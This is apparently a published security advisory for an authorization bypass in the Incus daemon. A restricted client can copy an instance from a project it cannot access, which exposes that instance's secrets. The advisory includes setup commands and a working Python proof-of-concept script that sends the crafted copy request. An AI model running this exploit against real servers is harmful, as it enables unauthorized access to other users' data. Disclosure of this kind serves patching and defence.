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Project restriction bypass in instance copy across projects

High
stgraber published GHSA-c9f5-j9c3-mhrg Jun 25, 2026

Package

gomod github.com/lxc/incus/v7/cmd/incusd (Go)

Affected versions

< v7.2.0

Patched versions

>= v7.2.0

Description

Summary

Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.

Details

cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instances_post.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.

From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.

PoC

Setup

We assume the target server is remotely accessible and a user/certificate has been added.

# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret

# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
  - default

# verification, with the restricted certificate
incus ls remote:

Exploitation

The below script was partly generated. To copy the secret instance to the default project, the following command can be used.

python3 poc.py --url https://IP-REMOTE:8443 \
    --cert path/to/client.crt --key path/to/client.key \
    --target-project default --source-project secrets \
    --source-instance secret --name copy-secret --insecure

Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.

#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""

from __future__ import annotations

import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request


def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
    ctx = ssl.create_default_context()
    if insecure:
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
    ctx.load_cert_chain(cert, key)

    req = urllib.request.Request(
        url.rstrip("/") + path,
        data=json.dumps(body).encode(),
        method="POST",
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    try:
        with urllib.request.urlopen(req, context=ctx) as resp:
            return resp.read()
    except urllib.error.HTTPError as exc:
        sys.stderr.write(exc.read().decode(errors="replace") + "\n")
        raise


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--cert", required=True)
    ap.add_argument("--key", required=True)
    ap.add_argument("--target-project", required=True)
    ap.add_argument("--source-project", required=True)
    ap.add_argument("--source-instance", required=True)
    ap.add_argument("--name", required=True, help="new instance name in target project")
    ap.add_argument("--instance-only", action="store_true")
    ap.add_argument("--start", action="store_true")
    ap.add_argument("--insecure", action="store_true")
    ap.add_argument("--dry-run", action="store_true")
    args = ap.parse_args()

    body = {
        "name": args.name,
        "source": {
            "type": "copy",
            "source": args.source_instance,
            "project": args.source_project,
            "instance_only": args.instance_only,
        },
        "start": args.start,
    }
    path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
    print(json.dumps(body, indent=2))
    if args.dry_run:
        return 0
    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Impact

An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CVE ID

CVE-2026-55622

Weaknesses

Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Learn more on MITRE.

Credits